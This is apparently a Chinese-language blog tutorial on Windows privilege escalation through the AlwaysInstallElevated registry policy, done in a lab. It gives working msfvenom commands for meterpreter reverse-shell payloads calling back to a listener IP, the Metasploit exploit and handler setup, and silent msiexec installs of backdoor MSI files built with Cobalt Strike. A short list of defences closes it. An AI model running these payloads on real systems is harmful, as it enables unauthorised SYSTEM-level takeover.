关于我

Windows提权-不安全的注册表项

Windows提权-不安全的注册表项

注册表是windows系统的数据库,系统、用户配置和系统组件等信息全部存储在注册表中

注册表启动项AutoRun

AlwaysInstallElevated

注册表键AlwaysInstallElevated是一个策略设置项。windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI(Microsoft Installer)文件

MSI文件是微软格式的应用程序安装包,实际上是一个数据库,包含安装和卸载时需要使用的大量指令和程序数据

环境准备

以admin权限配置:

  • win+r,gpedit.msc打开组策略管理器,找到始终以提升的权限进行安装

    计算机配置-->管理模板-->Windows 组件-->Windows Installer
    

    image-20241008213435014

  • 编辑“始终以提升的权限进行安装”为开启:

    image-20241008213714566

  • 同样在用户配置中也要配置:

    image-20241008213942421

  • 再在计算机配置中设置普通程序的安装可行性:

    image-20241008214328313

  • 如果未成功,还可以用命令修改下:

    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 /f
    
    reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 /f
    

    image-20241008221525356

  • 再验证一下配置是否成功:

    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    
    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    

    image-20241008221552366

提权实验

msf
  • 先用MSF获取apache用户的会话:

    msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.111.128 LPORT=7890 -f exe -o payload.exe
    

    image-20241008220959447

    当前shell权限为apache

  • 使用注册表命令或使用winpeas查询到启用了AlwaysInstallElevated策略:

    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    
    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    

    image-20241008221627454

  • 可以先试试提权模块:

    use exploit/windows/local/always_install_elevated
    

    image-20241008222039660

    这里直接获取到了system权限

  • 如果不行也可以尝试手动提权,先生成一个msi文件:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=6789 -f msi -o payload.msi
    

    image-20241008222502948

  • 将msi通过shell传上去:

    image-20241008222631048

  • 建立一个监听:

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.111.128
    set lport 6789
    exploit
    

    并运行msi:

    execute "msiexec.exe /quiet /qn /i payload.msi"
    

    image-20241008223636191

    成功获取system权限

CS
  • 首先CS上线apache用户:

    image-20241008224105986

  • 利用CS生成exe文件,然后使用visual studio制作MSI文件:

    image-20241008225443466

  • 选择creat a setup for a windows application,并添加远控exe:

    image-20241008225636359

  • 选择自定义操作:

    image-20241008225952425

  • 右键install,添加自定义操作:

    image-20241008230040861

  • 选择Application folder中的后门文件:

    image-20241008230251400

  • 右键添加的exe,更改属性中Run64Bit值为true(因为目标主机是64位):

    image-20241008230436077

  • 生成解决方案即可使用该msi文件:

    image-20241008230546349

  • 上传并启动安装包:

    msiexec /quiet /qn /i Setup1.msi
    

    image-20241008230759543

    可以看见已经成功提升至system权限

针对不安全注册表项的防御措施

大致如下:

  • 正确配置注册表项及其权限
  • 定期检查开机启动项,防止存在权限维持
  • 非必要情况下,关闭AlwaysInstallElevated策略
  • 安装防护软件并保持更新,防止恶意软件破坏注册表

Created by Yuy0ung. Powered by GitHub Page.